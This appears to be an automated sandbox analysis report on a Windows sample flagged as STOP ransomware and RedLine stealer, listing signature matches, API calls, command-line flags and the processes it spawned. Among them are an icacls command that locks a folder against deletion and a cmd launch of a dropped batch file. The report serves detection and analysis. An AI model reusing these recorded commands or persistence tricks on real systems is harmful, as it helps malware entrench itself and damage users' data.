Source: 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000002.2176111668.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000E.00000002.2165749001.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000011.00000002.2254835976.00000000007F9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.3274539908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000003.00000002.2060586302.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000002.2255017517.0000000002360000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000013.00000002.2265528714.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000B.00000002.2094369829.000000000227B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.2081672859.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.3274540267.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000000.00000002.2035882206.00000000022D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 6984, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 2568, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 320, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 5316, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 4204, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7204, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7424, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7444, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7636, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe PID: 7724, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: VOsoyD.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: VOsoyD.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: VOsoyD.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@33/961@4/3

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 3_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

3_2_00411900

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Code function: 1_2_00B5119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

1_2_00B5119F

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_006A37C6 CreateToolhelp32Snapshot,Module32First,

0_2_006A37C6

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 3_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

3_2_0040D240

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Code function: 0_2_004090A0 VerLanguageNameW,SetDefaultCommConfigW,ReadConsoleOutputCharacterA,SetConsoleCursorInfo,GetVersionExA,DebugBreak,SetLastError,SetLastError,FreeResource,VerifyVersionInfoA,BuildCommDCBW,CopyFileExW,GetCompressedFileSizeA,FindNextFileW,SetEvent,FreeResource,VerifyVersionInfoA,GetVersionExA,SetLastError,TerminateProcess,CreateTimerQueueTimer,FillConsoleOutputCharacterA,

0_2_004090A0

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\k1[1].rar

Jump to behavior

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7832:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5908

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

File created: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\33f77c43.bat" "

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --Admin	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: IsAutoStart	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: IsTask	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --ForNetRes	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: IsAutoStart	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: IsTask	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --Task	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --AutoStart	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --Service	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: X1P	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --Admin	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: runas	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: x2Q	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: x*P	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: C:\Windows\	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: D:\Windows\	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: 7P	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: %username%	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: F:\	3_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --Admin	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: IsAutoStart	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: IsTask	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --ForNetRes	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: IsAutoStart	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: IsTask	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --Task	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --AutoStart	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --Service	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: X1P	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: --Admin	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: runas	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: x2Q	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: x*P	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: C:\Windows\	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: D:\Windows\	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: 7P	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: %username%	9_2_00419F90
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Command line argument: F:\	9_2_00419F90

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wctFE34.tmp.9.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wctFE34.tmp.9.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wctFE34.tmp.9.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wctFE34.tmp.9.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	ReversingLabs: Detection: 97%
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Virustotal: Detection: 89%

Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	String found in binary or memory: set-addPolicy
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	String found in binary or memory: id-cmc-addExtensions
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	String found in binary or memory: set-addPolicy
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	String found in binary or memory: id-cmc-addExtensions
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	String found in binary or memory: set-addPolicy
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	String found in binary or memory: id-cmc-addExtensions
Source: F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

File read: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe"
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\AppData\Local\Temp\VOsoyD.exe C:\Users\user\AppData\Local\Temp\VOsoyD.exe
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe"
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\e29fee93-7ff1-4244-bf53-97d810b139f9" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Process created: C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe "C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\Temp\VOsoyD.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5908 -s 1608
